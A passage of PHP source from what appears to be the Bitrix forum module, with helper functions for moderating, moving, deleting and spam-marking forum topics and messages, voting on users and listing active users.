$arError[] = GetMessage("OCTOP_ERROR_OPEN")." (TID=".intVal($res["ID"]).")";
else
$arError[] = GetMessage("OCTOP_ERROR_CLOSE")." (TID=".intVal($res["ID"]).")";
continue;
}
elseif ($arAddParams["PERMISSION"] && !CForumTopic::CanUserUpdateTopic($res["ID"], $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
{
$arError[] = GetMessage("FMT_NO_PERMS_EDIT")." (TID=".intVal($res["ID"]).")";
continue;
}
$ID = CForumTopic::Update($res["ID"], $arFields, True);
if (IntVal($ID)<=0)
{
if ($TYPE=="OPEN")
$arError[] = GetMessage("OCTOP_ERROR_OPEN")." (TID=".intVal($res["ID"]).")";
else
$arError[] = GetMessage("OCTOP_ERROR_CLOSE")." (TID=".intVal($res["ID"]).")";
}
else
{
$arTopic["SORT"] = $arFields["SORT"];
if ($TYPE=="OPEN"):
$arOk[] = GetMessage("OCTOP_SUCCESS_OPEN")." (TID=".intVal($res["ID"]).")";
CForumEventLog::Log("topic", "open", $ID, serialize($res));
else:
$arOk[] = GetMessage("OCTOP_SUCCESS_CLOSE")." (TID=".intVal($res["ID"]).")";
CForumEventLog::Log("topic", "close", $ID, serialize($res));
endif;
}
}while ($res = $db_res->Fetch());
}
else
{
$arError[] = GetMessage("FMT_NO_PERMS_EDIT");
}
}
if (count($arError) > 0)
$strErrorMessage .= implode(".\n", $arError).".\n";
if (count($arOk) > 0)
$strOKMessage .= implode(".\n", $arOk).".\n";
if (count($arError) > 0)
return false;
else
return true;
}
function ForumTopOrdinaryTopic($topic, $TYPE, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOk = array();
$arFields = array("SORT" => ($TYPE == "TOP" ? 100 : 150));
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$topic = ForumDataToArray($topic);
$forumID = 0;
if (empty($topic))
{
$arError[] = GetMessage("TOTOP_NO_TOPIC");
}
else
{
if (!CForumUser::IsAdmin() && !$arAddParams["PERMISSION"])
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic), "PERMISSION_STRONG" => true));
else
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic)));
if ($db_res && $res = $db_res->Fetch())
{
do
{
if ($arAddParams["PERMISSION"] && !CForumTopic::CanUserUpdateTopic($res["ID"], $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
{
$arError[] = GetMessage("FMT_NO_PERMS_MODERATE")." (TID=".intVal($res["ID"]).")";
continue;
}
$ID = CForumTopic::Update($res["ID"], $arFields, True);
if (IntVal($ID)<=0)
{
if ($TYPE=="TOP")
$arError[] = GetMessage("TOTOP_ERROR_TOP")." (TID=".intVal($res["ID"]).")";
else
$arError[] = GetMessage("TOTOP_ERROR_TOP1")." (TID=".intVal($res["ID"]).")";
}
else
{
$forumID = $res['FORUM_ID'];
$arTopic["SORT"] = $arFields["SORT"];
$res = serialize($res);
if ($TYPE=="TOP"):
$arOk[] = GetMessage("TOTOP_SUCCESS_TOP")." (TID=".intVal($res["ID"]).")";
CForumEventLog::Log("topic", "stick", $ID, $res);
else:
$arOk[] = GetMessage("TOTOP_SUCCESS_TOP1")." (TID=".intVal($res["ID"]).")";
CForumEventLog::Log("topic", "unstick", $ID, $res);
endif;
}
}while ($res = $db_res->Fetch());
if (intval($forumID) > 0)
CForumCacheManager::ClearTag("F", $forumID);
}
else
{
$arError[] = GetMessage("FMT_NO_PERMS_EDIT");
}
}
if (count($arError) > 0)
$strErrorMessage .= implode(".\n", $arError).".\n";
if (count($arOk) > 0)
$strOKMessage .= implode(".\n", $arOk).".\n";
if (empty($arError))
return true;
else
return false;
}
function ForumDeleteTopic($topic, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOk = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams);
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$topic = ForumDataToArray($topic);
if (empty($topic))
{
$arError[] = GetMessage("DELTOP_NO_TOPIC");
}
else
{
if (!CForumUser::IsAdmin() && !$arAddParams["PERMISSION"])
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic), "PERMISSION_STRONG" => true));
else
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic)));
if ($db_res && $res = $db_res->Fetch())
{
do
{
if (CForumTopic::CanUserDeleteTopic($res["ID"], $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
{
if (CForumTopic::Delete($res["ID"]))
{
$arOk[] = GetMessage("DELTOP_OK")." (TID=".intVal($res["ID"]).")";
CForumCacheManager::ClearTag("F", $res['FORUM_ID']);
CForumCacheManager::ClearTag("T", $res["ID"]);
CForumEventLog::Log("topic", "delete", $res["ID"], serialize($res));
}
else
{
$arError[] = GetMessage("DELTOP_NO")." (TID=".intVal($res["ID"]).")";
}
}
else
{
$arError[] = GetMessage("DELTOP_NO_PERMS")." (TID=".intVal($res["ID"]).")";
}
}while ($res = $db_res->Fetch());
}
else
{
$arError[] = GetMessage("FMT_NO_PERMS_EDIT");
}
}
if (count($arError) > 0)
$strErrorMessage .= implode(".\n", $arError).".\n";
if (count($arOk) > 0)
$strOKMessage .= implode(".\n", $arOk).".\n";
if (count($arError) > 0)
return false;
else
return true;
}
function ForumDeleteMessage($message, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOK = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$message = ForumDataToArray($message);
if (empty($message))
{
$arError[] = GetMessage("DELMES_NO_MESS");
}
else
{
foreach ($message as $MID)
{
if (!CForumMessage::CanUserDeleteMessage($MID, $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
$arError[] = GetMessage("DELMES_NO_PERMS")."(MID=".$MID.")";
else
{
$arMessage = CForumMessage::GetByID($MID, array("FILTER" => "N"));
if (CForumMessage::Delete($MID)):
$arOK[] = GetMessage("DELMES_OK")."(MID=".$MID.")";
$TID = $arMessage["TOPIC_ID"];
$arTopic = CForumTopic::GetByID($TID);
$arMessage["TITLE"] = $arTopic["TITLE"];
CForumEventLog::Log("message", "delete", $MID, serialize($arMessage));
else:
$arError[] = GetMessage("DELMES_NO")."(MID=".$MID.")";
endif;
}
}
}
if (!empty($arError))
$strErrorMessage .= implode(".\n", $arError).".\n";
if (!empty($arOK))
$strOKMessage .= implode(".\n", $arOK).".\n";
return (empty($arError) ? true : false);
}
function ForumSpamTopic($topic, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOk = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams);
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$topic = ForumDataToArray($topic);
if (empty($topic))
{
$arError[] = GetMessage("SPAMTOP_NO_TOPIC");
}
else
{
if (!CForumUser::IsAdmin() && !$arAddParams["PERMISSION"])
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic), "PERMISSION_STRONG" => true));
else
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic)));
if ($db_res && $res = $db_res->Fetch())
{
do
{
if (CForumTopic::CanUserDeleteTopic($res["ID"], $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
{
$db_mes = CForumMessage::GetList(array("ID"=>"ASC"), array("TOPIC_ID" => $res["ID"]));
if ($db_mes && $mes = $db_mes->Fetch() && CModule::IncludeModule("mail"))
{
CMailMessage::MarkAsSpam($mes["XML_ID"], "Y");
}
if (CForumTopic::Delete($res["ID"]))
{
$arOk[] = GetMessage("SPAMTOP_OK")." (TID=".intVal($res["ID"]).")";
CForumEventLog::Log("topic", "spam", $res["ID"], print_r($res, true).print_r($mes, true));
}
else
{
$arError[] = GetMessage("SPAMTOP_NO")." (TID=".intVal($res["ID"]).")";
}
}
else
{
$arError[] = GetMessage("SPAMTOP_NO_PERMS")." (TID=".intVal($res["ID"]).")";
}
}while ($res = $db_res->Fetch());
}
else
{
$arError[] = GetMessage("FMT_NO_PERMS_EDIT");
}
}
if (count($arError) > 0)
$strErrorMessage .= implode(".\n", $arError).".\n";
if (count($arOk) > 0)
$strOKMessage .= implode(".\n", $arOk).".\n";
if (count($arError) > 0)
return false;
else
return true;
}
function ForumSpamMessage($message, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOK = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$message = ForumDataToArray($message);
if (empty($message))
{
$arError[] = GetMessage("SPAM_NO_MESS");
}
else
{
foreach ($message as $MID)
{
if (!CForumMessage::CanUserDeleteMessage($MID, $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
$arError[] = GetMessage("SPAM_NO_PERMS")."(MID=".$MID.")";
else
{
$arMessage = CForumMessage::GetByID($MID, array("FILTER" => "N"));
if (CModule::IncludeModule("mail"))
{
CMailMessage::MarkAsSpam($arMessage["XML_ID"], "Y");
}
if (CForumMessage::Delete($MID)):
$arOK[] = GetMessage("SPAM_OK")."(MID=".$MID.")";
CForumEventLog::Log("message", "spam", $MID, print_r($arMessage, true));
else:
$arError[] = GetMessage("SPAM_NO")."(MID=".$MID.")";
endif;
}
}
}
if (!empty($arError))
$strErrorMessage .= implode(".\n", $arError).".\n";
if (!empty($arOK))
$strOKMessage .= implode(".\n", $arOK).".\n";
return (empty($arError) ? true : false);
}
function ForumMessageExistInArray($message = array())
{
$message_exist = false;
$result = array();
if (!is_array($message))
$message = explode(",", $message);
foreach ($message as $message_id)
{
if (intVal(trim($message_id)) > 0)
{
$result[] = intVal(trim($message_id));
$message_exist = true;
}
}
if ($message_exist)
return $result;
else
return false;
}
function ForumDeleteMessageArray($message, &$strErrorMessage, &$strOKMessage)
{
return ForumDeleteMessage($message, $strErrorMessage, $strOKMessage);
}
function ForumModerateMessageArray($message, $TYPE, &$strErrorMessage, &$strOKMessage)
{
return ForumModerateMessage($message, $TYPE, $strErrorMessage, $strOKMessage);
}
function ForumShowTopicPages($nMessages, $strUrl, $pagen_var = "PAGEN_1", $PAGE_ELEMENTS = false)
{
global $FORUM_MESSAGES_PER_PAGE;
$res_str = "";
if ((!$PAGE_ELEMENTS) && (intVal($PAGE_ELEMENTS) <= 0))
$PAGE_ELEMENTS = $FORUM_MESSAGES_PER_PAGE;
if (strpos($strUrl, "?") === false)
$strUrl = $strUrl."?";
else
$strUrl = $strUrl."&";
if ($nMessages > $PAGE_ELEMENTS)
{
$res_str .= "<small>(".GetMessage("FSTP_PAGES").": ";
$nPages = IntVal(ceil($nMessages / $PAGE_ELEMENTS));
$typeDots = true;
for ($i = 1; $i <= $nPages; $i++)
{
if ($i<=3 || $i>=$nPages-2 || ($nPages == 7 && $i == 3))
{
$res_str .= "<a href=\"".$strUrl.$pagen_var."=".$i."\">".$i."</a> ";
}
elseif ($typeDots)
{
$res_str .= "... ";
$typeDots = false;
}
}
$res_str .= ")</small>";
}
return $res_str;
}
function ForumMoveMessage($FID, $TID, $Message, $NewTID = 0, $arFields, &$strErrorMessage, &$strOKMessage, $iFileSize = false)
{
global $USER, $DB;
$arError = array();
$arOK = array();
$NewFID = 0;
$arForum = array();
$arTopic = array();
$arNewForum = array();
$arNewTopic = array();
$arCurrUser = array();
$SendSubscribe = false;
//************************* Input params **************************************************************************
$TID = IntVal($TID);
$FID = IntVal($FID);
$NewTID = IntVal($NewTID);
$Message = ForumDataToArray($Message);
if (empty($Message))
$arError[] = GetMessage("FMM_NO_MESSAGE");
if ($TID <= 0)
$arError[] = GetMessage("FMM_NO_TOPIC_SOURCE0");
else
{
$arTopic = CForumTopic::GetByID($TID);
if ($arTopic)
{
$FID = IntVal($arTopic["FORUM_ID"]);
$arForum = CForumNew::GetByID($FID);
}
else
$arError[] = GetMessage("FMM_NO_TOPIC_SOURCE1");
}
if (($NewTID <= 0) && (strLen(trim($arFields["TITLE"])) <= 0))
$arError[] = GetMessage("FMM_NO_TOPIC_RECIPIENT0");
elseif($NewTID > 0)
{
if ($NewTID == $TID)
$arError[] = GetMessage("FMM_NO_TOPIC_EQUAL");
$arNewTopic = CForumTopic::GetByID($NewTID);
if (!$arNewTopic)
$arError[] = GetMessage("FMM_NO_TOPIC_RECIPIENT1");
elseif ($arNewTopic["STATE"] == "L")
$arError[] = GetMessage("FMM_TOPIC_IS_LINK");
else
{
$NewFID = $arNewTopic["FORUM_ID"];
$arNewForum = CForumNew::GetByID($NewFID);
}
}
//*************************/Input params **************************************************************************
//*************************!Proverka prav pol'zovatelya na forume-istochnike i forume-poluchatele*********************
// Tak kak realizovan mehanizm peremeweniya tem s forumov, gde tekuwij pol'zovatel' yavlyaetsya moderatorom na forumy,
// gde on moderatorov ne yavlyaetsya, to v dannom sluchae budet ispol'zovan tot zhe samyj shablon dejstvij. Isklyucheniem
// yavlyaetsya to, chto esli pol'zovatel' na forume-poluchatele ne obladaet pravami moderirovaniya, tema budet neaktivna.
//*************************!Proverka prav pol'zovatelya*************************************************************
$arCurrUser["Perms"]["FID"] = ForumCurrUserPermissions($FID);
$arCurrUser["Perms"]["NewFID"] = ForumCurrUserPermissions($NewFID);
if ($arCurrUser["Perms"]["FID"] < "Q")
$arError[] = GetMessage("FMM_NO_MODERATE");
//************************* Actions *******************************************************************************
$DB->StartTransaction();
if (count($arError) <= 0)
{
// Create topic
if ($NewTID <= 0)
{
$arFields["APPROVED"] = ($arNewForum["MODERATION"]=="Y") ? "N" : "Y";
if ($arCurrUser["Perms"]["NewFID"] >= "Q")
$arFields["APPROVED"] = "Y";
$arRes = array("NAME" => GetMessage("FR_GUEST"));
$ShowName = GetMessage("FR_GUEST");
$db_res = CForumMessage::GetList(array("ID" => "ASC"), array("@ID" => implode(",", $Message), "TOPIC_ID" => $TID));
if ($db_res && $res = $db_res->Fetch())
{
$arRes["NAME"] = $res["AUTHOR_NAME"];
$arRes["ID"] = $res["AUTHOR_ID"];
}
$arFieldsTopic = array(
"TITLE" => $arFields["TITLE"],
"TITLE_SEO" => $arFields["TITLE_SEO"],
"DESCRIPTION" => $arFields["DESCRIPTION"],
"ICON" => $arFields["ICON"],
"TAGS" => $arFields["TAGS"],
"FORUM_ID" => $FID,
"USER_START_ID" => $arRes["ID"],
"USER_START_NAME" => $arRes["NAME"],
"LAST_POSTER_NAME" => $arRes["NAME"],
"LAST_POSTER_ID" => $arRes["ID"],
"APPROVED" => $arFields["APPROVED"],
);
$NewTID = CForumTopic::Add($arFieldsTopic);
if (IntVal($NewTID)<=0)
$arError[] = GetMessage("FMM_NO_TOPIC_NOT_CREATED");
else
{
$arNewTopic = CForumTopic::GetByID($NewTID);
if ($arNewTopic)
{
$NewFID = $FID;
$arNewForum = $arForum;
$SendSubscribe = true;
}
else
$arError[] = GetMessage("FMM_NO_TOPIC_NOT_CREATED");
}
}
}
if (count($arError) <= 0)
{
// Move message
$db_res = CForumMessage::GetList(array(), array("@ID" => implode(",", $Message), "TOPIC_ID" => $TID));
if ($db_res && $res = $db_res->Fetch())
{
do
{
// echo "NewFID: ".$NewFID." -- FID:".$FID."<br/>";
$arMessage = array();
if ($NewFID != $FID)
{
$arMessage["APPROVED"] = ($arNewForum["MODERATION"] == "Y" ? "N" : "Y");
if ($arCurrUser["Perms"]["NewFID"] >= "Q")
$arMessage["APPROVED"] = "Y";
$arMessage["FORUM_ID"] = $NewFID;
$arMessage["POST_MESSAGE_HTML"] = "";
}
if ($NewTID != $TID)
{
$arMessage["NEW_TOPIC"] = "N";
$arMessage["TOPIC_ID"] = $NewTID;
}
if (count($arMessage) > 0)
{
$MID = CForumMessage::Update($res["ID"], $arMessage, true);
$res_log = ($SendSubscribe == true ? GetMessage("F_MESSAGE_WAS_MOVED_TO_NEW") : GetMessage("F_MESSAGE_WAS_MOVED"));
$res_log = str_replace(array("#ID#", "#TOPIC_TITLE#", "#TOPIC_ID#", "#NEW_TOPIC_TITLE#", "#NEW_TOPIC_ID#"),
array($MID, $arTopic["TITLE"], $arTopic["ID"], $arNewTopic['TITLE'], $arNewTopic['ID']), $res_log);
$res["TITLE"] = $arNewTopic['TITLE'];
$res["TOPIC_ID"] = $arNewTopic['ID'];
$res["beforeTITLE"] = $arTopic["TITLE"];
$res["DESCRIPTION"] = $res_log;
CForumEventLog::Log("message", "move", $MID, serialize($res));
$db_res2 = CForumFiles::GetList(array(), array("FILE_MESSAGE_ID" => $res["ID"]));
if ($db_res2 && $res2 = $db_res2->Fetch())
{
$arFiles = array();
do
{
$arFiles[] = $res2["FILE_ID"];
} while ($res2 = $db_res2->Fetch());
CForumFiles::UpdateByID($arFiles, $arMessage);
}
if (IntVal($MID) <= 0)
{
$arError[] = str_replace("##", $res["ID"], GetMessage("FMM_NO_MESSAGE_MOVE"));
break;
}
}
}while ($res = $db_res->Fetch());
}
}
if (count($arError) <= 0)
{
$db_res = CForumMessage::GetList(array(), array("TOPIC_ID" => $TID), false, 1);
if (!($db_res && $res = $db_res->Fetch())):
CForumTopic::Delete($TID);
else:
CForumTopic::SetStat($TID);
endif;
$db_res = CForumMessage::GetList(array(), array("TOPIC_ID" => $NewTID), false, 1);
if (!($db_res && $res = $db_res->Fetch())):
CForumTopic::Delete($NewTID);
else:
CForumTopic::SetStat($NewTID);
endif;
CForumNew::SetStat($FID);
if ($NewFID != $FID)
CForumNew::SetStat($NewFID);
}
if (count($arError) <= 0)
$DB->Commit();
else
$DB->Rollback();
if (count($arError) > 0)
$strErrorMessage .= implode(". \n", $arError).". \n";
else
{
$strOKMessage .= GetMessage("FMM_YES_MESSAGE_MOVE");
if ($SendSubscribe)
{
foreach ($Message as $MID)
CForumMessage::SendMailMessage($MID, array(), false, "NEW_FORUM_MESSAGE");
}
return true;
}
return false;
}
/**
* @param $num_cols
* @deprecated
* @return string
*/
function ForumPrintIconsList($num_cols, $value = "")
{
$arSmile = CForumSmile::getByType("I", LANGUAGE_ID);
$arSmile[] = array('TYPING' => '', 'IMAGE' => '/bitrix/images/1.gif', 'NAME' => '', 'CLASS' => 'forum-icon-empty');
$strPath2Icons = "/bitrix/images/forum/icon/";
$num_cols = ($num_cols > 0 ? $num_cols : 7);
$ind = $num_cols;
$res_str = '<table border="0" class="forum-icons"><tr>';
foreach ($arSmile as $res)
{
$width = ($res["IMAGE_WIDTH"] > 0 ? 'width="{$res["IMAGE_WIDTH"]}"' : '');
$height = ($res["IMAGE_HEIGHT"] > 0 ? 'width="{$res["IMAGE_HEIGHT"]}"' : '');
$checked = '';
if (trim($res['TYPING']) == trim($value))
{
$checked = 'checked="checked"';
}
$res_str .= <<<HTML
<td>
<img src="{$strPath2Icons}{$res["IMAGE"]}" alt="{$res["NAME"]}" border="0" class="icons {$res["CLASS"]}" $width $height />
<input type="radio" name="ICON" value="{$res["TYPING"]}" $checked />
</td>
HTML;
if (--$ind <= 0)
{
$ind = $num_cols;
$res_str .= "</tr><tr>";
}
}
$res_str .= '</tr></table>';
return $res_str;
}
/**
* @deprecated
* @param $num_cols
* @param bool $strLang
* @return string
*/
function ForumPrintSmilesList($num_cols, $strLang = false)
{
$num_cols = intVal($num_cols);
$num_cols = $num_cols > 0 ? $num_cols : 3;
$strLang = ($strLang === false ? LANGUAGE_ID : $strLang);
$strPath2Icons = "/bitrix/images/forum/smile/";
$arSmile = CForumSmile::getByType("S", $strLang);
$res_str = "";
$ind = 0;
foreach ($arSmile as $res)
{
if ($ind == 0) $res_str .= "<tr align=\"center\">";
$res_str .= "<td width=\"".IntVal(100/$num_cols)."%\">";
$strTYPING = strtok($res['TYPING'], " ");
$res_str .= "<img src=\"".$strPath2Icons.$res['IMAGE']."\" alt=\"".$res['NAME']."\" title=\"".$res['NAME']."\" border=\"0\"";
if (IntVal($res['IMAGE_WIDTH'])>0) $res_str .= " width=\"".$res['IMAGE_WIDTH']."\"";
if (IntVal($res['IMAGE_HEIGHT'])>0) $res_str .= " height=\"".$res['IMAGE_HEIGHT']."\"";
$res_str .= " class=\"smiles-list\" alt=\"smile".$strTYPING."\" onclick=\"if(emoticon){emoticon('".$strTYPING."');}\" name=\"smile\" id='".$strTYPING."' ";
$res_str .= "/> </td>\n";
$ind++;
if ($ind >= $num_cols)
{
$ind = 0;
$res_str .= "</tr>";
}
}
if ($ind < $num_cols)
{
for ($i=0; $i<$num_cols-$ind; $i++)
{
$res_str .= "<td> </td>";
}
}
return $res_str;
}
function ForumMoveMessage2Support($MID, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$MID = IntVal($MID);
$sError = array();
$sNote = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
if ($MID<=0)
$arError[] = GetMessage("MOVEMES_NO_MESS_EX");
if (!CModule::IncludeModule("support"))
$arError[] = GetMessage("MOVEMES_NO_SUPPORT");
if (empty($arError))
{
$arMessage = CForumMessage::GetByID($MID, array("FILTER" => "N"));
if (!$arMessage)
{
$arError[] = GetMessage("MOVEMES_NO_MESS_EX");
}
elseif (IntVal($arMessage["AUTHOR_ID"])<=0)
{
$arError[] = GetMessage("MOVEMES_NO_ANONYM");
}
elseif (!CForumMessage::CanUserDeleteMessage($MID, $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"]))
{
$arError[] = GetMessage("MOVEMES_NO_PERMS2MOVE");
}
else
{
$arTopic = CForumTopic::GetByID($arMessage["TOPIC_ID"]);
$arFieldsSu = array(
"CLOSE" => "N",
"TITLE" => $arTopic["TITLE"],
"MESSAGE" => $arMessage["POST_MESSAGE"],
"OWNER_USER_ID" => $arMessage["AUTHOR_ID"],
"OWNER_SID" => $arMessage["AUTHOR_NAME"],
"SOURCE_SID" => "forum",
);
$arIMAGE = CFile::MakeFileArray($arMessage["ATTACH_IMG"]);
if(is_array($arIMAGE))
{
$arIMAGE["MODULE_ID"] = "support";
$arFieldsSu["FILES"] = array($arIMAGE);
}
$SuID = CTicket::SetTicket($arFieldsSu);
$SuID = IntVal($SuID);
if ($SuID>0)
{
$sNote[] = GetMessage("MOVEMES_SUCCESS_SMOVE");
}
else
{
$arError[] = GetMessage("MOVEMES_ERROR_SMOVE");
}
}
}
if (!empty($arError))
$strErrorMessage .= implode(".\n",$arError).".\n";
if (!empty($arNote))
$strOKMessage .= implode(".\n",$arNote).".\n";
if (empty($arError))
return $SuID;
else
return False;
}
function ForumSetAllMessagesReaded($FID = false) // DEPRECATED
{
global $USER;
if ($FID!==false)
{
$FID = IntVal($FID);
CForumNew::SetLabelsBeRead($FID, $USER->GetUserGroupArray());
return true;
}
$arFilter = array();
if (!CForumUser::IsAdmin())
{
$arFilter["LID"] = LANG;
$arFilter["PERMS"] = array($USER->GetGroups(), 'A');
$arFilter["ACTIVE"] = "Y";
}
$db_Forum = CForumNew::GetList(array(), $arFilter);
while ($ar_Forum = $db_Forum->Fetch())
{
CForumNew::SetLabelsBeRead($ar_Forum["ID"], $USER->GetUserGroupArray());
}
return false;
}
function ForumSetReader($FID) // DEPRECATED
{
global $USER;
$FID = intVal($FID);
$_SESSION["FORUM"]["LAST_VISIT_FORUM_".$FID] = CForumNew::GetNowTime("timestamp"); // client TZ
return false;
}
function ForumSetAllMessagesRead($FID = false) // DEPRECATED
{
ForumSetReadForum($FID);
}
function ForumVote4User($UID, $VOTES, $bDelVote, &$strErrorMessage, &$strOKMessage)
{
global $USER;
$arError = array();
$arNote = array();
$UID = IntVal($UID);
$VOTES = IntVal($VOTES);
$bDelVote = ($bDelVote ? true : false);
$CurrUserID = 0;
if ($UID <= 0)
{
$arError[] = GetMessage("F_NO_VPERS");
}
else
{
if (!$USER->IsAuthorized())
{
$arError[] = GetMessage("FORUM_GV_ERROR_AUTH");
}
else
{
$CurrUserID = IntVal($USER->GetParam("USER_ID"));
if ($CurrUserID == $UID && !CForumUser::IsAdmin())
{
$arError[] = GetMessage("FORUM_GV_OTHER");
}
else
{
$arUserRank = CForumUser::GetUserRank($CurrUserID);
if (IntVal($arUserRank["VOTES"])<=0 && !$bDelVote && !CForumUser::IsAdmin())
{
$arError[] = GetMessage("FORUM_GV_ERROR_NO_VOTE");
}
else
{
if (!CForumUser::IsAdmin() || $VOTES<=0)
$VOTES = IntVal($arUserRank["VOTES"]);
if ($VOTES == 0) $VOTES = 1; // no ranks configured
$arFields = array(
"POINTS" => $VOTES
);
$arUserPoints = CForumUserPoints::GetByID($CurrUserID, $UID);
if ($arUserPoints)
{
if ($bDelVote || $VOTES<=0)
{
if (CForumUserPoints::Delete($CurrUserID, $UID))
$arNote[] = GetMessage("FORUM_GV_SUCCESS_UNVOTE");
else
$arError[] = GetMessage("FORUM_GV_ERROR_VOTE");
}
else
{
if (IntVal($arUserPoints["POINTS"])<IntVal($arUserRank["VOTES"])
|| CForumUser::IsAdmin())
{
if (CForumUserPoints::Update(IntVal($USER->GetParam("USER_ID")), $UID, $arFields))
$arNote[] = GetMessage("FORUM_GV_SUCCESS_VOTE_UPD");
else
$arError[] = GetMessage("FORUM_GV_ERROR_VOTE_UPD");
}
else
{
$arError[] = GetMessage("FORUM_GV_ALREADY_VOTE");
}
}
}
else
{
if (!$bDelVote && $VOTES>0)
{
$arFields["FROM_USER_ID"] = $USER->GetParam("USER_ID");
$arFields["TO_USER_ID"] = $UID;
if (CForumUserPoints::Add($arFields))
$arNote[] = GetMessage("FORUM_GV_SUCCESS_VOTE_ADD");
else
$arError[] = GetMessage("FORUM_GV_ERROR_VOTE_ADD");
}
else
{
$arError[] = GetMessage("FORUM_GV_ERROR_A");
}
}
}
}
}
}
if (!empty($arError))
$strErrorMessage .= implode(".\n", $arError).".\n";
if (!empty($arNote))
$strOKMessage .= implode(".\n", $arNote).".\n";
if (empty($arError))
return True;
else
return False;
}
function ForumDeleteSubscribe($ID, &$strErr, &$strOk) // DEPRECATED
{
global $USER;
$ID = IntVal($ID);
if (CForumSubscribe::CanUserDeleteSubscribe($ID, $USER->GetUserGroupArray(), $USER->GetID()))
{
CForumSubscribe::Delete($ID);
return true;
}
else
{
$strErr = GetMessage("FSUBSC_NO_SPERMS").". \n";
}
return false;
}
function ShowActiveUser($arFields = array())
{
$period = intVal($arFields["PERIOD"]);
if ($period <= 0)
$period = 600;
$date = Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", SITE_ID)), time() - $period + CTimeZone::GetOffset());
$arField = array(">=LAST_VISIT" => $date, "COUNT_GUEST"=>true);
if (intVal($arFields["FORUM_ID"]) > 0 )
$arField["FORUM_ID"] = $arFields["FORUM_ID"];
if (intVal($arFields["TOPIC_ID"]) > 0 )
$arField["TOPIC_ID"] = $arFields["TOPIC_ID"];
$db_res = CForumStat::GetListEx(array("USER_ID" => "DESC"), $arField);
$OnLineUser = array();
$arOnLineUser = array();
$OnLineUserStr = "";
$UserHideOnLine = 0;
$UserOnLine = 0;
$result = array();
$result["NONE"] = "N";
if ($db_res && ($res = $db_res->GetNext()))
{
$OnLineUser["USER"] = array();
do
{
if (($res["USER_ID"] > 0) && ($res["HIDE_FROM_ONLINE"] != "Y"))
{
$OnLineUser["USER"][] = "<a href=\"view_profile.php?UID=".$res["USER_ID"]."\" title='".GetMessage("FORUM_USER_PROFILE")."'>".$res["SHOW_NAME"]."</a>";
$arOnLineUser[] = array_merge($res, array("UID"=>$res["USER_ID"], "title" => GetMessage("FORUM_USER_PROFILE"), "text" => $res["SHOW_NAME"]));
}
elseif(($res["USER_ID"] > 0) && ($res["HIDE_FROM_ONLINE"] == "Y"))
$UserHideOnLine++;
else
$OnLineUser["GUEST"] = intVal($res["COUNT_USER"]);
}while ($res = $db_res->GetNext());
$CountAllUsers = count($OnLineUser["USER"]) + $UserHideOnLine + $OnLineUser["GUEST"];
$result["GUEST"] = $OnLineUser["GUEST"];
$result["HIDE"] = $UserHideOnLine;
$result["REGISTER"] = IntVal(count($OnLineUser["USER"])+$UserHideOnLine);
$result["ALL"] = $CountAllUsers;
if ($CountAllUsers > 0)
{
if (intVal($arFields["TOPIC_ID"]) <= 0)
{
$result["PERIOD"] = round($period/60);
$result["HEAD"] = str_replace("##", "<b>".round($period/60)."</b>", GetMessage("FORUM_AT_LAST_PERIOD"))." ".
GetMessage("FORUM_COUNT_ALL_USER").": <b>".$CountAllUsers."</b><br/>";
}
$OnLineUserStr = GetMessage("FORUM_COUNT_GUEST").": <b>".intVal($OnLineUser["GUEST"])."</b>, ".
GetMessage("FORUM_COUNT_USER").": <b>".IntVal(count($OnLineUser["USER"])+$UserHideOnLine)."</b>,
".GetMessage("FORUM_FROM_THIS")." ".GetMessage("FORUM_COUNT_USER_HIDEFROMONLINE").": <b>".$UserHideOnLine."</b>";
if (count($OnLineUser["USER"]) > 0)
{
$OnLineUserStr .= "<br/>".implode(", ", $OnLineUser["USER"])."<br/>";
$result["USER"] = $arOnLineUser;
}
}
else
{
$OnLineUserStr = GetMessage("FORUM_NONE");
$result["NONE"] = "Y";
}
}
else
{
$OnLineUserStr = GetMessage("FORUM_NONE");
$result["NONE"] = "Y";
}
$result["BODY"] = $OnLineUserStr;
return $result;
}
